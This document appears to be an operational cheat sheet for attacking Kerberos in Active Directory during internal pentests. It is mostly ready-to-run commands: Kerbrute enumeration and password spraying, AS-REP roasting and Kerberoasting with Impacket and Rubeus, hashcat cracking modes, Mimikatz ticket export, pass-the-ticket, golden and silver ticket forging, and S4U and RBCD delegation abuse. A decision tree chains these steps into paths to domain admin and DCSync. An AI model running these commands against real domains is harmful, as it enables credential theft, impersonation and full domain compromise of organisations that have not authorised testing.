A complete operational reference for Kerberos enumeration, roasting,
ticket attacks, delegation abuse, and Active Directory authentication paths.
Covers Kerbrute, Rubeus, Impacket, BloodHound, Mimikatz, cracking workflows,
and practical attack chains used in internal pentesting.
1. Core Concepts & Kerberos Attack Flow
KERBEROS ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
Domain Joined Client
│
▼
┌──────────────────────────────┐
│ Username Enumeration │ ← kerbrute / Rubeus / LDAP
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ AS-REQ / Preauth Testing │ ← AS-REP roastable users
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ TGS Requests for SPNs │ ← Kerberoastable service accounts
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Ticket Abuse │ ← Pass-the-Ticket, Golden/Silver
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Delegation Abuse │ ← unconstrained / constrained / RBCD
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Domain Escalation │ ← DCSync, Domain Admin, forest abuse
└──────────────────────────────┘
──────────────────────────────────────────────────────────────────────
Key Terms:
-
KDC— Key Distribution Center — issues Kerberos tickets. -
TGT— Ticket Granting Ticket — used to request service tickets. -
TGS— Ticket Granting Service ticket — service-specific ticket. -
SPN— Service Principal Name — identifies a Kerberos service account. -
Pre-auth— Kerberos preauthentication — if disabled, AS-REP roasting is possible. -
RC4 / AES— Ticket encryption types — determine hash cracking mode. -
S4U— Kerberos protocol extensions used in delegation attacks. -
RBCD— Resource-Based Constrained Delegation.
2. Port Discovery & Realm Discovery
# Kerberos ports
nmap -p 88,464 <TARGET_IP>
nmap -sV -p 88,464 <TARGET_IP>
# UDP Kerberos (common)
nmap -sU -p 88,464 <TARGET_IP>
# KDC / domain hints from LDAP
ldapsearch -x -H ldap://<DC_IP> -s base namingContexts defaultNamingContext
# Domain / realm discovery via nmap scripts
nmap -p 88 --script krb5-enum-users <TARGET_IP>
# Reverse DNS / realm hints
host <TARGET_IP>
nslookup <TARGET_IP>
Time Sync Check
# Kerberos is time-sensitive — sync time first
ntpdate -u <DC_IP>
sudo timedatectl set-ntp true
# If time skew exists, tickets may fail with:
# KRB_AP_ERR_SKEW
Common Realm Format
# Realm = uppercase domain
# domain.local → DOMAIN.LOCAL
# target.corp → TARGET.CORP
3. Username Enumeration
Kerbrute
# Installation
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 kerbrute
# Enumerate usernames from a wordlist
./kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt
# Spray one password against all users
./kerbrute passwordspray -d DOMAIN.LOCAL --dc <DC_IP> users.txt 'Password123!'
# Brute force usernames with custom list
./kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
LDAP / SMB / BloodHound Assists
# LDAP user listing
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
# SMB/LDAP tools sometimes reveal usernames from descriptions, groups, sessions
crackmapexec smb <TARGET_IP> -u '' -p ''
crackmapexec ldap <DC_IP> -u '' -p ''
# BloodHound can reveal valid users and paths after collection
Rubeus Enumeration
# On Windows
Rubeus.exe brute /password:Password123! /domain:DOMAIN.LOCAL /dc:<DC_IP> /outfile:validusers.txt
4. AS-REP Roasting
WHAT IT IS:
──────────────────────────────────────────────────────────────────────
Accounts with preauthentication disabled can be queried without a password.
The KDC returns an AS-REP encrypted with the user’s NT hash.
Crack the hash offline to recover the plaintext password.
──────────────────────────────────────────────────────────────────────
Find Roastable Users
# LDAP filter for DONT_REQ_PREAUTH
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --asreproast asrep_hashes.txt
GetNPUsers
# No password needed for roastable users
impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -outputfile asrep_hashes.txt
# Target one user
impacket-GetNPUsers DOMAIN.LOCAL/roastable_user -no-pass -dc-ip <DC_IP>
Rubeus
# Request AS-REP roastable tickets
Rubeus.exe asreproast /format:hashcat /nowrap
Crack AS-REP Hashes
# Hashcat mode 18200
hashcat -a 0 -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
5. Kerberoasting
WHAT IT IS:
──────────────────────────────────────────────────────────────────────
Any authenticated user can request service tickets for accounts with SPNs.
The returned ticket is encrypted with the service account password hash.
Crack it offline to obtain service credentials.
──────────────────────────────────────────────────────────────────────
Find SPNs
ldapsearch -x -H ldap://<DC_IP> -D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))" \
sAMAccountName servicePrincipalName
GetUserSPNs
# List SPNs
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP>
# Request tickets
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request -outputfile kerb_hashes.txt
# Target one account
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request-user svc_sql -outputfile kerb_hashes.txt
Rubeus
# Kerberoast in hashcat format
Rubeus.exe kerberoast /nowrap /format:hashcat
# Request specific SPN
Rubeus.exe kerberoast /user:svc_sql /nowrap /format:hashcat
Crack Kerberoast Hashes
# RC4 mode
hashcat -a 0 -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
# AES128 / AES256 modes
hashcat -a 0 -m 19700 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 19800 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
# John
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
6. Pass-the-Ticket
Concept
If you have a valid Kerberos ticket, you can inject it and authenticate
without the plaintext password.
Mimikatz
# List tickets
klist
# Export tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Pass ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
Rubeus
# Inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# Use ticket for network access
klist
Use Cases
# Access SMB / WinRM / LDAP with injected ticket if service tickets are valid
# Useful for lateral movement after ticket theft
7. Golden Ticket & Silver Ticket
Golden Ticket
Golden Ticket = forged TGT using KRBTGT hash.
Grants broad access in the domain and persists until KRBTGT is rotated.
# Dump KRBTGT hash first (via DCSync or secretsdump)
# Then forge ticket with Mimikatz
mimikatz.exe
kerberos::golden /user:attacker /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /krbtgt:<KRBTGT_HASH> /id:500 /ptt
Silver Ticket
Silver Ticket = forged service ticket for a specific SPN.
Does not require contacting the KDC once forged.
mimikatz.exe
kerberos::golden /user:attacker /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /target:HOSTNAME /service:cifs /rc4:<SERVICE_HASH> /ptt
Notes
Golden tickets are broader and noisier.
Silver tickets are more targeted and service-specific.
8. Delegation Abuse
Unconstrained Delegation
Any user connecting to a server with unconstrained delegation can expose
their TGT to that server. If a privileged account connects, the attacker
can impersonate them.
# Find unconstrained delegation with PowerView
Get-NetComputer -Unconstrained
# BloodHound also identifies unconstrained delegation hosts
Constrained Delegation
A service account is allowed to delegate to specific SPNs only.
S4U2Self + S4U2Proxy can still let an attacker impersonate users to those services.
# Find trusted-to-auth accounts
Get-NetUser -TrustedToAuth
# Rubeus S4U abuse example
Rubeus.exe s4u /user:Batch /domain:target.domain /rc4:<HASH> \
/impersonateuser:Administrator /msdsspn:HTTP/target.domain /altservice:HOST /ptt
RBCD
Resource-Based Constrained Delegation uses msDS-AllowedToActOnBehalfOfOtherIdentity.
If you can write this attribute on a target computer, you can delegate yourself.
# Create machine account if allowed
New-MachineAccount -MachineAccount ATTACKER1 -Password (ConvertTo-SecureString 'CovidSucks2021' -AsPlainText -Force)
# Configure RBCD
Set-DomainRBCD TARGETHOST -DelegateFrom ATTACKER1
# Request ticket via S4U
Rubeus.exe s4u /user:ATTACKER1$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:TERMSRV/TARGETHOST /ptt
Delegation Detection
# BloodHound
# Find computers with unconstrained delegation, users trusted to auth, and RBCD relationships
9. Skeleton Key & Misc Attacks
Skeleton Key
Skeleton Key modifies LSASS so one master password works for all users.
It is noisy and usually a lab / post-exploitation technique.
Time Skew / Preauth Errors
Kerberos is strict about clock sync.
If you see KRB_AP_ERR_SKEW, sync time before retrying.
Ticket Lifetime / Replay
Stolen tickets can often be replayed until they expire.
Monitor ticket lifetime and renewals.
10. BloodHound & Kerberos Graph Paths
What to Look For
• Kerberoastable users
• AS-REP roastable users
• Unconstrained delegation
• Constrained delegation rights
• RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
• Sessions on privileged hosts
• ACLs granting GenericAll / WriteDACL / WriteOwner
Useful BloodHound Queries
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
MATCH (u:User {hasspn:true}) RETURN u.name
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {highvalue:true})) RETURN p
Attack Paths
User → Kerberoast service account → local admin on server → delegation abuse → DC access
User → AS-REP roast account → password reuse → admin login elsewhere → DCSync
GenericWrite on computer → RBCD → impersonate admin → service access
11. Password / Hash Cracking
Hash Types
AS-REP hash → hashcat mode 18200
Kerberoast RC4 → hashcat mode 13100
Kerberoast AES128 → hashcat mode 19700
Kerberoast AES256 → hashcat mode 19800
Cracking Tips
# Use rules for mangling
hashcat -a 0 -m 13100 kerb_hashes.txt rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# Check for reused passwords in other services after cracking
# Try SMB, LDAP, WinRM, RDP, SSH where applicable
12. Master Cheat Sheet
Tool Selection
RECON:
Kerberos ports? → nmap -p 88,464 -sV <IP>
Valid users? → kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt
ROASTING:
AS-REP roast? → impacket-GetNPUsers / Rubeus asreproast
Kerberoast? → impacket-GetUserSPNs / Rubeus kerberoast
Crack AS-REP? → hashcat -m 18200
Crack Kerberoast RC4? → hashcat -m 13100
Crack Kerberoast AES? → hashcat -m 19700 / 19800
TICKETS:
Have a ticket? → mimikatz kerberos::ptt or Rubeus ptt
Need a forged TGT? → mimikatz kerberos::golden
Need a forged service? → silver ticket with service hash
DELEGATION:
Find unconstrained? → PowerView / BloodHound
Constrained delegation? → Get-NetUser -TrustedToAuth
RBCD abuse? → Set-DomainRBCD + Rubeus s4u
Kerberos Attack Decision Tree
Got a domain and Kerberos access?
│
├── Need valid usernames?
│ ├── kerbrute userenum
│ └── LDAP / BloodHound / SMB recon
│
├── Found AS-REP roastable users?
│ └── GetNPUsers / Rubeus asreproast → hashcat -m 18200
│
├── Found SPNs?
│ └── GetUserSPNs / Rubeus kerberoast → hashcat -m 13100
│
├── Got a ticket?
│ └── ptt via Mimikatz or Rubeus
│
├── Got KRBTGT hash?
│ └── Golden ticket
│
├── Got service hash?
│ └── Silver ticket
│
├── Unconstrained delegation?
│ └── Capture TGT / replay ticket
│
├── Constrained delegation?
│ └── S4U2Self + S4U2Proxy
│
└── RBCD writable?
└── Write msDS-AllowedToActOnBehalfOfOtherIdentity → S4U abuse
Common Commands
kerbrute userenum -d DOMAIN.LOCAL --dc <DC_IP> users.txt
impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
impacket-GetUserSPNs DOMAIN.LOCAL/user:pass -dc-ip <DC_IP> -request
hashcat -m 18200 asrep_hashes.txt rockyou.txt
hashcat -m 13100 kerb_hashes.txt rockyou.txt